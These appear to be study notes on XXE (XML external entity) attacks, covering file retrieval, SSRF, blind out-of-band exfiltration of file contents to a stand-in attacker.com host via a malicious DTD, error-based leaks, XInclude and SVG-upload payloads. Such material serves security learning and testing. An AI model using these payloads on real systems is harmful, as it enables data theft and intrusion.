XXE

Introduction

What is XML

  • Some applications use the XML format to transmit data between the browser and the server.

  • Its popularity has now declined in favor of the JSON format

XXE Impact

  • Retrieve files

  • Perform SSRF attacks

Retrieve files

  1. Introduce (or edit) a DOCTYPE element defining an external entity with the file path.

  2. Edit a data value in the XML returned in the app's response to use the defined external entity.

Note: to systematically test for XXE, test each data node in the XML individually using your defined entity to see if it appears in the response.

Original

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Exploitation

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Perform SSRF attacks

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>

Blind XXE

Out-of-band (OAST) techniques

Detection

  • Detecting as SSRF

    • <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/"> ]>

  • Regular entities are blocked? Bypass via XML parameter entities

    • <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>

    • This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD

Exploitation

  1. Start a web server and host on http://attacker.com/example.dtd this malicious dtd.

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % stack "<!ENTITY &#x25; exfil SYSTEM 'http://attaccker.com/?x=%file;'>">
%stack;
%exfil;

  1. Add this external entity

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/example.dtd"> %xxe;]>

Note: This technique might not work with multiline files.

Via error messages

Trigger an XML parsing error message with the file contents.

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Note: This works if you notice an error in the response when detecting with OAST (e.g., the reflected URL entered).

Hidden attack surface

  • First case - Requests that contain data in XML format

  • Second case - Requests that do not contain any XML

    • Detection: Add entity reference that doesn't exist to cause an error -> ok it's XML

XInclude attacks

Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document.

XInclude is a part of the XML specification that allows an XML document to be built from sub-documents.

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
POST /product/stock HTTP/2

Host: vulnerable.website.com

[...]





productId=<foo+xmlns%3axi%3d"http%3a//www.w3.org/2001/XInclude">

<xi%3ainclude+parse%3d"text"+href%3d"file%3a///etc/passwd"/></foo>&storeId=1

Via file upload

Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

This works if it's used image processing library & support SVG images & allow external entity.

Via modified content type

Some web app will tolerate other content types.

Expected request

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Sumbit following request

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

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